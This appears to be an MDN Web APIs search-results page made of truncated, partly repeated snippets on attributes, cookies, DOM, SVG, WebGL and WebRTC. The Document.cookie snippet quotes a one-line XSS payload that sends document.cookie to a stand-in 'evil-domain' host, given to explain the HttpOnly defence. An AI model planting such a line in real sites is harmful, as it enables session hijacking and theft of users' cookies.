attribute. note that this works correctly as of firefox 62 (bug 1467381). childcount — the number of child items the current item has in the accessibility tree hierarchy. indexinparent — an index value indicating what number child the item is, inside its parent. if the item i...
... one demo has states of focusable, linked, selectable text, opaque, enabled, and sensitive. for a full list of internal states, see gecko states. relations — a list of the accessiblity-relevant relationships between this item and other items. for example, in a form, an entry item could have a "labelled by" relation with a label item, which in turn has a "label for" relation to the entry item.
attributes — a list of all the accessibility-relevant
attributes that are applied to the item. this can include style-related
attributes such as margin-left and text-indent, and other useful states for accessibility information, such as draggable and level (e.g., what heading level is it, in the case of headings). for a full list of possible
attributes, see gecko object
attributes. note: the exposed i...
Attr.localName - Web APIs
the attr.localname read-only property returns the local part of the qualified name of an
attribute. in previous dom specifications this api was defined within the node interface. syntax name =
attribute.localname return value a domstring representing the local part of the
attribute's qualified name. example the following example shows "id" in an alert dialog. html content <button id="example">click me</button> javascript content const element = document.queryselector("#example"); element.addeventlistener("click", function() { const
attribute = element.
attributes[0]; alert(
attribute.localname); }); notes the local name of an
attribute is the part of the
attribute's qualified name that comes after the colon. qualified names are typically used in xml as part of the namespace(s)...
... specifications specification status comment domthe definition of 'attr.localname' in that specification. ...
... specifications specification status comment domthe definition of 'attr.localname' in that specification. ...
...pically used in xml as part of the namespace(s) of the particular xml documents. note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html
attributes in html doms (as opposed to xhtml
attributes in xml doms). in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html
attributes in html doms and xhtml
attributes in xml doms. specifications specification status comment domthe definition of 'attr.localname' in that specification. living standard initial definition ...
Attr.namespaceURI - Web APIs
the attr.namespaceuri read-only property returns the namespace uri of the
attribute, or null if the element is not in a namespace. before dom4 this api was defined within the node interface. syntax namespace =
attribute.namespaceuri example in this snippet, an
attribute is being examined for its localname and its namespaceuri. if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>. if (
attribute.localname == "value" &&
attribute.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul value } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope. the namespace uri of an attribut...
... node is understood to be a xul <browser/>. if (
attribute.localname == "value" &&
attribute.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul value } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope. the namespace uri of an
attribute is frozen at the
attribute creation time. in firefox 3.5 and earlier, the namespace uri for html
attributes in html documents is null. in later versions, in compliance with html5, it is https://www.w3.org/1999/xhtml as in xhtml. you can create an
attribute with the specified namespaceuri using the dom level 2 method element.set
attributens. ...
... the dom does not handle or enforce namespace validation per se. it is up to the dom application to do any validation necessary. note too that the namespace prefix, once it is associated with a particular node, cannot be changed. ...
... the dom does not handle or enforce namespace validation per se. it is up to the dom application to do any validation necessary. note too that the namespace prefix, once it is associated with a particular node, cannot be changed. ...
BluetoothRemoteGATTCharacteristic - Web APIs
the bluetoothremotegattcharacteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that provides further information about a peripheral’s service. ...
... the bluetoothremotegattcharacteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that provides further information about a peripheral’s service. ...
... the bluetoothremotegattcharacteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that provides further information about a peripheral’s service. ...
...cteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that provides further information about a peripheral’s service. ...
Using dynamic styling information - Web APIs
erty is given on the dom css properties list page. to modify styles to a document using css syntax, one can insert rules or insert <style> tags whose innerhtml property is set to the desired css. modify an element's style the element style property (see also the section "dom style object" below) can also be used to get and set the styles on an element. however, this property only returns style
attributes that have been set in-line (e.g, <td style="background-color: lightblue"> returns the string "background-color:lightblue", or directly for that element using element.style.propertyname, even though there may be other styles on the element from a stylesheet). also, when you set this property on an element, you override any styles that have been set elsewhere for that element's particular propert...
...ange'; } function resetstyle() { document.getelementbyid('d').style.color = 'black'; } </script> </head> <body> <div id="d" class="thunder">thunder</div> <button onclick="stilo()">click here to change text color</button> <button onclick="resetstyle()">reset text color</button> </body> </html> the media and type of the style may or may not be given. ...
... </head> <body> <div id="d" class="thunder">thunder</div> <button onclick="stilo()">click here to change text color</button> <button onclick="resetstyle()">reset text color</button> </body> </html> the media and type of the style may or may not be given. using the set
attribute method note that you can also change style of an element by getting a reference to it and then use its set
attribute method to specify the css property and its value. ...
...olor</button> <button onclick="resetstyle()">reset text color</button> </body> </html> the media and type of the style may or may not be given. using the set
attribute method note that you can also change style of an element by getting a reference to it and then use its set
attribute method to specify the css property and its value. var el = document.getelementbyid('some-element'); el.set
attribute('style', 'background-color:darkblue;'); be aware, however, that set
attribute removes all other style properties that may already have been defined in the element's style object. if the some-element element above had an in–line style
attribute of say style="font-size: 18px", that value would be removed by the use of set
attribute. ...
Document.cookie - Web APIs
rrounded by whitespace (space and tab characters): in fact, rfc 6265 mandates a single space after each semicolon, but some user agents may not abide by this. write a new cookie document.cookie = newcookie; in the code above, newcookie is a string of form key=value. note that you can only set/update a single cookie at a time using this method. consider also that: any of the following cookie
attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator: ;path=path (e.g., '/', '/mydir') if not specified, defaults to the current path of the current document location. note: prior to gecko 6.0, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrou...
...e (which are disallowed in cookie values). some user agent implementations support the following cookie prefixes: __secure- signals to the browser that it should only include the cookie in requests transmitted over a secure channel. __host- signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path
attribute passed down by the server. if the server omits the path
attribute the "directory" of the request uri is used. it also signals that the domain
attribute must not be present, which prevents the cookie from being sent to other domains. for chrome the path
attribute must always be the origin. the dash is considered part of the prefix. these flags are only settable with the secure
attribute. ...
...it can be easily bypassed using the dom, for example by creating a hidden <iframe> element with the path of the cookie, then accessing this iframe's contentdocument.cookie property. the only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy. cookies are often used...
...cation to identify a user and their authenticated session. so stealing the cookie from a web application, will lead to hijacking the authenticated user's session. common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie
attribute can help to mitigate this attack by preventing access to cookie value through javascript. read more about cookies and security. notes starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply updating its expiration time to zero. keep in mind that the more cookies you have, the more data will be transferred betwe...
How to create a DOM tree - Web APIs
usa"/> <address street="321 south avenue" city="denver" state="co" country="usa"/> </person> </people> the w3c dom api, supported by mozilla, can be used to create an in-memory representation of this document like so: var doc = document.implementation.createdocument("", "", null); var peopleelem = doc.createelement("people"); var personelem1 = doc.createelement("person"); personelem1.set
attribute("first-name", "eric"); personelem1.set
attribute("middle-initial", "h"); personelem1.set
attribute("last-name", "jung"); var addresselem1 = doc.createelement("address"); addresselem1.set
attribute("street", "321 south st"); addresselem1.set
attribute("city", "denver"); addresselem1.set
attribute("state", "co"); addresselem1.set
attribute("country", "usa"); personelem1.appendchild(addresselem1); var a...
...tial", "h"); personelem1.set
attribute("last-name", "jung"); var addresselem1 = doc.createelement("address"); addresselem1.set
attribute("street", "321 south st"); addresselem1.set
attribute("city", "denver"); addresselem1.set
attribute("state", "co"); addresselem1.set
attribute("country", "usa"); personelem1.appendchild(addresselem1); var addresselem2 = doc.createelement("address"); addresselem2.set
attribute("street", "123 main st"); addresselem2.set
attribute("city", "arlington"); addresselem2.set
attribute("state", "ma"); addresselem2.set
attribute("country", "usa"); personelem1.appendchild(addresselem2); var personelem2 = doc.createelement("person"); personelem2.set
attribute("first-name", "jed"); personelem2.set
attribute("last-name", "brown"); var addresselem3 = doc.createelement("address"); addres...
... "123 main st"); addresselem2.set
attribute("city", "arlington"); addresselem2.set
attribute("state", "ma"); addresselem2.set
attribute("country", "usa"); personelem1.appendchild(addresselem2); var personelem2 = doc.createelement("person"); personelem2.set
attribute("first-name", "jed"); personelem2.set
attribute("last-name", "brown"); var addresselem3 = doc.createelement("address"); addresselem3.set
attribute("street", "321 north st"); addresselem3.set
attribute("city", "atlanta"); addresselem3.set
attribute("state", "ga"); addresselem3.set
attribute("country", "usa"); personelem2.appendchild(addresselem3); var addresselem4 = doc.createelement("address"); addresselem4.set
attribute("street", "123 west st"); addresselem4.set
attribute("city", "seattle"); addresselem4.set
attribute("state", "wa"); addressele...
...et", "321 north st"); addresselem3.set
attribute("city", "atlanta"); addresselem3.set
attribute("state", "ga"); addresselem3.set
attribute("country", "usa"); personelem2.appendchild(addresselem3); var addresselem4 = doc.createelement("address"); addresselem4.set
attribute("street", "123 west st"); addresselem4.set
attribute("city", "seattle"); addresselem4.set
attribute("state", "wa"); addresselem4.set
attribute("country", "usa"); personelem2.appendchild(addresselem4); var addresselem5 = doc.createelement("address"); addresselem5.set
attribute("street", "321 south avenue"); addresselem5.set
attribute("city", "denver"); addresselem5.set
attribute("state", "co"); addresselem5.set
attribute("country", "usa"); personelem2.appendchild(addresselem5); peopleelem.appendchild(personelem1); peopleelem.appendchild(pe...
ElementCSSInlineStyle.style - Web APIs
the style property is used to get as well as set the inline style of an element. when getting, it returns a cssstyledeclaration object that contains a list of all styles properties for that element with values assigned for the
attributes that are defined in the element's inline style
attribute. see the css properties reference for a list of the css properties accessible via style. the style property has the same (and highest) priority in the css cascade as an inline style declaration set via the style
attribute. setting styles styles should not be set by assigning a string directly to the style property (as in elt.style = "color: blue;"), since it is considered read-only, as the style
attribute returns a cssstyledeclaration object which is also read-only. instead, styles can be set by assigning...
...note that the property names are in camel-case and not kebab-case while setting the style using elt.style.<property> (i.e., elt.style.fontsize, not elt.style.font-size). ...
...operty> (i.e., elt.style.fontsize, not elt.style.font-size). a style declaration is reset by setting it to null or an empty string, e.g., elt.style.color = null. internet explorer requires setting it to an empty string, and does not do anything when setting it to null. ...
...to get the values of all css properties for an element you should use window.getcomputedstyle() instead. ...
Fullscreen API - Web APIs
supported). event handlers the fullscreen api defines two events which can be used to detect when full-screen mode is turned on and off, as well as when errors occur during the process of changing between full-screen and windowed modes. event handlers for these events are available on the document and element interfaces. note: these event handler properties are not available as html content
attributes. in other words, you cannot specify event handlers for fullscreenchange and fullscreenerror in the html content. they must be added by javascript code. event handlers on documents document.onfullscreenchange an event handler for the fullscreenchange event that's sent to a document when that document is placed into full-screen mode, or when that document exits full-screen mode. this handler...
...lse); toggling full-screen mode this code is called by the event handler above when the user hits the enter key. function togglefullscreen() { if (!document.fullscreenelement) { document.documentelement.requestfullscreen(); } else { if (document.exitfullscreen) { document.exitfullscreen(); } } } this starts by looking at the value of the document's fullscreenelement
attribute. in a real-world deployment, at this time, you'll want to check for prefixed versions of this (mozfullscreenelement, msfullscreenelement, or webkitfullscreenelement, for example). if the value is null, the document is currently in windowed mode, so we need to switch to full-screen mode; otherwise, it's the element that's currently in full-screen mode. switching to full-screen mode is done by call...
...to change preferences in firefox, visit about:config. no support 9 — 65notes alternate name notes before firefox 44, firefox incorrectly allowed elements inside a <frame> or <object> element to request, and to be granted, fullscreen. ...
...et to true). to change preferences in firefox, visit about:config. no support 9 — 65notes alternate name notes before firefox 44, firefox incorrectly allowed elements inside a <frame> or an <object> to request, and to be granted, fullscreen. ...
Using the Gamepad API - Web APIs
is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0). timestamp: this returns a domhighrestimestamp representing the last time the data for this gamepad was updated, allowing developers to determine if the axes and button data have been updated from the hardware. the value must be relative to the navigationstart
attribute of the performancetiming interface. values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. note that this property is not currently supported in firefox. note: the gamepad object is available on the gamepadconnected event rather than the window object itself, for security...
...events in order to display the state of all gamepads connected to the system. you can find a working demo and look at the full source code on github. ...
....length; i++) { var e = document.createelement("span"); e.classname = "button"; //e.id = "b" + i; e.innerhtml = i; b.appendchild(e); } d.appendchild(b); var a = document.createelement("div"); a.classname = "axes"; for (var i = 0; i < gamepad.axes.length; i++) { var p = document.createelement("progress"); p.classname = "axis"; //p.id = "a" + i; p.set
attribute("max", "2"); p.set
attribute("value", "1"); p.innerhtml = i; a.appendchild(p); } d.appendchild(a); // see https://github.com/luser/gamepadtest/blob/master/index.html var start = document.getelementbyid("start"); if (start) { start.style.display = "none"; } document.body.appendchild(d); requestanimationframe(updatestatus); } function disconnecthandler(e) { remo...
...navigator.getgamepads() : (navigator.webkitgetgamepads ? navigator.webkitgetgamepads() : []); for (var i = 0; i < gamepads.length; i++) { if (gamepads[i]) { if (gamepads[i].index in controllers) { controllers[gamepads[i].inde...
HTMLImageElement.complete - Web APIs
the image resource has been fully fetched and has been queued for rendering/compositing. the image element has previously determined that the image is fully available and ready for use. ...
... the image resource has been fully fetched and has been queued for rendering/compositing. the image element has previously determined that the image is fully available and ready for use. ...
... the image resource has been fully fetched and has been queued for rendering/compositing. the image element has previously determined that the image is fully available and ready for use. the image is "broken;" that is, the image failed to load due to an error or because image loading is disabled. ...
...ich indicates whether or not the image has completely loaded. syntax let doneloading = htmlimageelement.complete; value a boolean value which is true if the image has completely loaded; otherwise, the value is false. the image is considered completely loaded if any of the following are true: neither the src nor the srcset
attribute is specified. the srcset
attribute is absent and the src
attribute, while specified, is the empty string (""). the image resource has been fully fetched and has been queued for rendering/compositing. the image element has previously determined that the image is fully available and ready for use. the image is "broken;" that is, the image failed to load due to an error or because image loading is disabled. it's worth noting that due to the image potentially b...
HTMLSelectElement.autofocus - Web APIs
setting this property doesn't set the focus to the associated <select> element: it merely tells the browser to focus to it when the element is inserted in the document. ...
... setting this property doesn't set the focus to the associated <select> element: it merely tells the browser to focus to it when the element is inserted in the document. ...
... setting this property doesn't set the focus to the associated <select> element: it merely tells the browser to focus to it when the element is inserted in the document. ...
...ting it after the insertion, that is most of the time after the document load, has no visible effect. syntaxedit abool = aselectelement.autofocus; // get the value of autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript // check if the autofocus
attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html living standardthe definition of 'autofocus' in that specification. living standard html 5.2the definition of 'autofocus' in that specification. recommendation ...
Node.baseURI - Web APIs
syntax var nodebaseuri = node.baseuri; value a domstring representing the base url of the specified node. ...
... syntax var nodebaseuri = node.baseuri; value a domstring representing the base url of the specified node. ...
... syntax var nodebaseuri = node.baseuri; value a domstring representing the base url of the specified node. it may be null if unable to obtain an absolute uri. ...
...html living standard for details. you can use document.baseuri to obtain the base url of a document. note that obtaining the base url for a document may return different urls over time if the <base> tags or the document's location change. the base url of an element the base url of an element in html normally equals the base url of the document the node is in. if the document contains xml:base
attributes (which you shouldn't do in html documents), the element.baseuri takes the xml:base
attributes of element's parents into account when computing the base url. see xml:base for details. you can use element.baseuri to obtain the base url of an element. specifications specification status comment domthe definition of 'node: baseuri' in that specification. living stan...
Node - Web APIs
he node type. e.g. an htmlelement will contain the name of the corresponding tag, like 'audio' for an htmlaudioelement, a text node will have the '#text' string, or a document node will have the '#document' string. node.nodetyperead only returns an unsigned short representing the type of the node. ...
...lean up all the text nodes under this element (merge adjacent, remove empty). node.removechild() removes a child node from the current element, which must be a child of the current node. node.replacechild() replaces one child node of the current one with the second one given in parameter. obsolete methods node.getuserdata() allows a user to get some domuserdata from the node. node.has
attributes() returns a boolean indicating if the element has any
attributes, or not. node.issupported() returns a boolean flag containing the result of a test whether the dom implementation implements a specific feature and this feature is supported by the specific node. node.setuserdata() allows a user to attach, or remove, domuserdata to the node. examples remove all children nested within ...
...ypos.join("|") + ")\\b", "gi") const mistakes = grep(document.body, pattern) console.log(mistakes) specifications specification status comment domthe definition of 'node' in that specification. living standard added the following methods: getrootnode() dom4the definition of 'node' in that specification. obsolete removed the following properties:
attributes, namespaceuri, prefix, and localname. removed the following methods: issupported(), has
attributes(), getfeature(), setuserdata(), and getuserdata(). document object model (dom) level 3 core specificationthe definition of 'node' in that specification. obsolete the methods insertbefore(), replacechild(), removechild(), and appendchild() returns one more kind of error (not_suppor...
...ing properties: baseuri and textcontent. document object model (dom) level 2 core specificationthe definition of 'node' in that specification. obsolete the ownerdocument property was slightly modified so that documentfragment also returns null. added the following properties: namespaceuri, prefix, and localname. added the following methods: normalize(), issupported() and has
attributes(). document object model (dom) level 1 specificationthe definition of 'node' in that specification. obsolete initial definition. ...
ParentNode.querySelectorAll() - Web APIs
class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose immediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test. ...
..."); here, we get a list of <p> elements whose immediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test. ...
... highlighted and which are located inside a container whose id is test. ...
...s = container.queryselectorall("div.highlighted > p"); this example uses an
attribute selector to return a list of the <iframe> elements in the document that contain an
attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an
attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active
attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results. html consider this html, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"...
RTCIceCandidate.candidate - Web APIs
date in detail. most of the other properties of rtcicecandidate are actually extracted from this string. this property can be configured by specifying the value of the candidate property when constructing the new candidate object using rtcicecandidate(). ...
...ies of the candidate, taken directly from the sdp
attribute "candidate". the candidate string specifies the network connectivity information for the candidate. if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker. the syntax of the candidate string is described in rfc 5245, section 15.1. for an a-line (
attribute line) that looks like this: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the corresponding candidate string's value will be "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host". the user agent always prefers candidates with the highest priority, all else being equal. ...
...ction 15.1. for an a-line (
attribute line) that looks like this: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the corresponding candidate string's value will be "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host". the user agent always prefers candidates with the highest priority, all else being equal. in the example above, the priority is 2043278322. the
attributes are all separated by a single space character, and are in a specific order. ...
...2.168.0.56 44323 typ host the corresponding candidate string's value will be "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host". the user agent always prefers candidates with the highest priority, all else being equal. in the example above, the priority is 2043278322. the
attributes are all separated by a single space character, and are in a specific order. ...
RTCIceCandidateInit.candidate - Web APIs
the optional property candidate in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's candidate property. value a domstring describing the properties of the candidate, taken directly from the sdp
attribute "candidate". the candidate string specifies the network connectivity information for the candidate. if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker. the syntax of the candidate string is described in rfc 5245, section 15.1. ...
...ies of the candidate, taken directly from the sdp
attribute "candidate". the candidate string specifies the network connectivity information for the candidate. if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker. the syntax of the candidate string is described in rfc 5245, section 15.1. for an a-line (
attribute line) that looks like this: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the corresponding candidate string's value will be "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host". the user agent always prefers candidates with the highest priority, all else being equal. ...
...ction 15.1. for an a-line (
attribute line) that looks like this: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the corresponding candidate string's value will be "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host". the user agent always prefers candidates with the highest priority, all else being equal. in the example above, the priority is 2043278322. the
attributes are all separated by a single space character, and are in a specific order. ...
...2.168.0.56 44323 typ host the corresponding candidate string's value will be "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host". the user agent always prefers candidates with the highest priority, all else being equal. in the example above, the priority is 2043278322. the
attributes are all separated by a single space character, and are in a specific order. the complete list of
attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example when a new ice candidate is received by your signaling code from the remote peer, you need to construct the rtcicecandidate object that encapsulates it. this is...
SVGFEDropShadowElement - Web APIs
svgfedropshadowelement.stddeviationx read onl...
...chor="middle" alignment-baseline="middle">svgfedropshadowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfedropshadowelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfedropshadowelement.dx read only an svganimatednumber corresponding to the dx
attribute of the given element. svgfedropshadowelement.dy read only an svganimatednumber corresponding to the dy
attribute of the given element. svgfedropshadowelement.stddeviationx read only an svganimatednumber corresponding to the (possibly automatically computed) x component of the ...
...element. svgfedropshadowelement.dx read only an svganimatednumber corresponding to the dx
attribute of the given element. svgfedropshadowelement.dy read only an svganimatednumber corresponding to the dy
attribute of the given element. svgfedropshadowelement.stddeviationx read only an svganimatednumber corresponding to the (possibly automatically computed) x component of the stddeviationx
attribute of the given element. svgfedropshadowelement.stddeviationy read only an svganimatednumber corresponding to the (possibly automatically computed) y component of the stddeviationy
attribute of the given element. methods this interface also inherits methods of its parent, svgelement, and also implements methods of svgfilterprimitivestandard
attributes. svgfedropshadowelement.setstddeviation(...
...lement.stddeviationy read only an svganimatednumber corresponding to the (possibly automatically computed) y component of the stddeviationy
attribute of the given element. methods this interface also inherits methods of its parent, svgelement, and also implements methods of svgfilterprimitivestandard
attributes. svgfedropshadowelement.setstddeviation() sets the values for the stddeviation
attribute. specifications specification status comment filter effects module level 1the definition of 'svgfedropshadowelement' in that specification. working draft initial definition ...
getBBox() - Web APIs
note: getbbox() must return the actual bounding box at the time the method was called—even in case the element has not yet been rendered. it also does not account for any transformation applied to the element or its parents. ...
...been rendered. it also does not account for any transformation applied to the element or its parents. getbbox returns different values than getboundingclientrect(), as the latter returns value relative to the viewport syntax let bboxrect = object.getbbox(); return value the returned value is a svgrect object, which defines the bounding box. this value is irrespective of any transformation
attribute applied to it or the parent elements. example html <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <g id="group_text_1"> <text x="5" y="16" transform="scale(2, 2)">hello world!</text> <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">hello world again!</text> </g> <!-- shows bbox in green --> <rect id="rect_1" stroke="#00ff00" stroke-wi...
...width="3" fill="none"> </rect> <!-- shows boundingclientrect in red --> <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect> </svg> javascript var rectbbox = document.queryselector('#rect_1'); var rectboundingclientrect = document.queryselector('#rect_2'); var groupelement = document.queryselector('#group_text_1'); var bboxgroup = groupelement.getbbox(); rectbbox.set
attribute('x', bboxgroup.x); rectbbox.set
attribute('y', bboxgroup.y); rectbbox.set
attribute('width', bboxgroup.width); rectbbox.set
attribute('height', bboxgroup.height); var boundingclientrectgroup = groupelement.getboundingclientrect(); rectboundingclientrect.set
attribute('x', boundingclientrectgroup.x); rectboundingclientrect.set
attribute('y', boundingclientrectgroup.y); rectboundingclientrect.setattrib...
... recommendation initial definition (applies to svg elements only). ...
SVGLength - Web APIs
css2. svg_lengthtype_pc 10 a value was specified using the pc units defined in css2. properties name type description unittype unsigned short the type of the value as specified by one of the svg_lengthtype_* constants defined on this interface. value float the value as a floating point value, in user units. setting this
attribute will cause valueinspecifiedunits and valueasstring to be updated automatically to reflect this setting. exceptions on setting: a domexception with code no_modification_allowed_err is raised when the length corresponds to a read only
attribute or when the object itself is read only. valueinspecifiedunits float the value as a floating point value, in the units expressed...
...dunits and valueasstring to be updated automatically to reflect this setting. exceptions on setting: a domexception with code no_modification_allowed_err is raised when the length corresponds to a read only
attribute or when the object itself is read only. valueinspecifiedunits float the value as a floating point value, in the units expressed by unittype. setting this
attribute will cause value and valueasstring to be updated automatically to reflect this setting. exceptions on setting: a domexception with code no_modification_allowed_err is raised when the length corresponds to a read only
attribute or when the object itself is read only. valueasstring domstring the value as a string value, in the units expressed by unittype. setting this a...
...by unittype. setting this
attribute will cause value, valueinspecifiedunits, and unittype to be updated automatically to reflect this setting. exceptions on setting: a domexception with code syntax_err is raised if the assigned string cannot be parsed as a valid <length>. a domexception with code no_modification_allowed_err is raised when the length corresponds to a read only
attribute or when the object itself is read only. methods name & arguments return description newvaluespecifiedunits(in unsigned short unittype, in float valueinspecifiedunits) void reset the value as a number with an associated unittype, thereby replacing the values for all of the
attributes on the object. exceptions: a domexception w...
... replacing the values for all of the
attributes on the object. exceptions: a domexception with code not_supported_err is raised if unittype is svg_lengthtype_unknown or not a valid unit type constant (one of the other svg_lengthtype_* constants defined on this interface). a domexception with code no_modification_allowed_err is raised when the length corresponds to a read only
attribute or when the object itself is read only. converttospecifiedunits(in unsigned short unittype) void preserve the same underlying stored value, but reset the stored unit identifier to the given unittype. object
attributes unittype, valueinspecifiedunits, and valueasstring might be modified as a result of this method. for example, if the original value were "0.5cm" and the meth...
WebGL2RenderingContext.vertexAttribI4[u]i[v]() - Web APIs
return value none. ...
... return value none. ...
... return value none. examples gl.vertexattribi4i(a_foobar, 10); specifications specification status comment webgl 2.0the definition of 'vertexattribi' in that specification. ...
... return value none. ...
WebGLRenderingContext.getActiveUniform() - Web APIs
the webglrenderingcontext.getactiveuniform() method of the webgl api returns a webglactiveinfo object containing size, type, and name of a uniform
attribute. it is generally used when querying unknown uniforms either for debugging or generic library creation. syntax webglactiveinfo webglrenderingcontext.getactiveuniform(program, index); parameters program a webglprogram specifying the webgl shader program from which to obtain the uniform variable's information. index a gluint specifying the index of the uniform
attribute to get. this value is an index 0 to n - 1 as returned by gl.getprogramparameter(program, gl.active_uniforms). ...
...m(program, index); parameters program a webglprogram specifying the webgl shader program from which to obtain the uniform variable's information. index a gluint specifying the index of the uniform
attribute to get. this value is an index 0 to n - 1 as returned by gl.getprogramparameter(program, gl.active_uniforms). return value a webglactiveinfo object describing the uniform. ...
..._array gl.sampler_2d_array_shadow gl.sampler_cube_shadow gl.int_sampler_2d gl.int_sampler_3d gl.int_sampler_cube gl.int_sampler_2d_array gl.unsigned_int_sampler_2d gl.unsigned_int_sampler_3d gl.unsigned_int_sampler_cube gl.unsigned_int_sampler_2d_array when gl.linkprogram is called, webgl creates a list of active uniforms. these are possible values of the name
attribute of return values of getactiveuniform. webgl generates one or more entries in the list depending on the declared type of the uniform in the shader: single basic type: one entry with the name of the uniform. e.g. uniform vec4 a; will result in a. array of basic type: one entry with the name of the uniform suffixed with [0]. e.g. uniform vec4 b[]; will result in b[0]. struct type: one entry f...
...ay will generate its own entries. e.g. uniform struct { float foo; vec4 bar; } d[2]; will result in: d[0].foo d[0].bar d[1].foo d[1].bar uniform blocks: one entry for each member. if the uniform block has an instance name, the block name is prefixed. e.g. uniform block { float foo; }; will result in foo, and uniform block { float bar; } e; will result in block.bar. the size
attribute of the return value corresponds to the length of the array for uniforms declared as arrays. otherwise, it is 1 (this includes interface blocks instanced with arrays). exceptions gl.invalid_value is generated if the program webglprogram is invalid (not linked, deleted, etc.). gl.invalid_value is generated if index is not in the range [0, gl.getprogramparameter(program, gl.active_uniforms) - 1...
Signaling and video calling - Web APIs
control over the page layout by enabling the use of css. we'll skip layout detail in this guide, but take a look at the css on github to see how we handled it. take note of the two <video> elements, one for your self-view, one for the connection, and the <button> element. the <video> element with the id "received_video" will present video received from the connected user. we specify the autoplay
attribute, ensuring once the video starts arriving, it immediately plays. this removes any need to explicitly handle playback in our code. the "local_video" <video> element presents a preview of the user's camera; specifiying the muted
attribute, as we don't need to hear local audio in this preview panel. finally, the "hangup-button" <button>, to disconnect from a call, is defined and configured to start ...
...onnection by calling rtcpeerconnection.removetrack(). our handler for "removetrack" is: function handleremovetrackevent(event) { var stream = document.getelementbyid("received_video").srcobject; var tracklist = stream.gettracks(); if (tracklist.length == 0) { closevideocall(); } } this code fetches the incoming video mediastream from the "received_video" <video> element's srcobject
attribute, then calls the stream's gettracks() method to get an array of the stream's tracks. if the array's length is zero, meaning there are no tracks left in the stream, we end the call by calling closevideocall(). this cleanly restores our app to a state in which it's ready to start or receive another call. see ending the call to learn how closevideocall() works. ending the call there are many reaso...
...onnection.onicegatheringstatechange = null; mypeerconnection.onnegotiationneeded = null; if (remotevideo.srcobject) { remotevideo.srcobject.gettracks().foreach(track => track.stop()); } if (localvideo.srcobject) { localvideo.srcobject.gettracks().foreach(track => track.stop()); } mypeerconnection.close(); mypeerconnection = null; } remotevideo.remove
attribute("src"); remotevideo.remove
attribute("srcobject"); localvideo.remove
attribute("src"); remotevideo.remove
attribute("srcobject"); document.getelementbyid("hangup-button").disabled = true; targetusername = null; } after pulling references to the two <video> elements, we check if a webrtc connection exists; if it does, we proceed to disconnect and close the call: all of the event handl...
...treams, we iterate over each track, calling the mediastreamtrack.stop() method to close each one. close the rtcpeerconnection by calling mypeerconnection.close(). set mypeerconnection to null, ensuring our code learns there's no ongoing call; this is useful when the user clicks a name in the user list. then for both the incoming and outgoing <video> elements, we remove their src and srcobject
attributes using their remove
attribute() methods. this completes the disassociation of the streams from the video elements. finally, we set the disabled property to true on the "hang up" button, making it unclickable while there is no call underway; then we set targetusername to null since we're no longer talking to anyone. this allows the user to call another user, or to receive an incoming call. dealin...
Web Video Text Tracks Format (WebVTT) - Web APIs
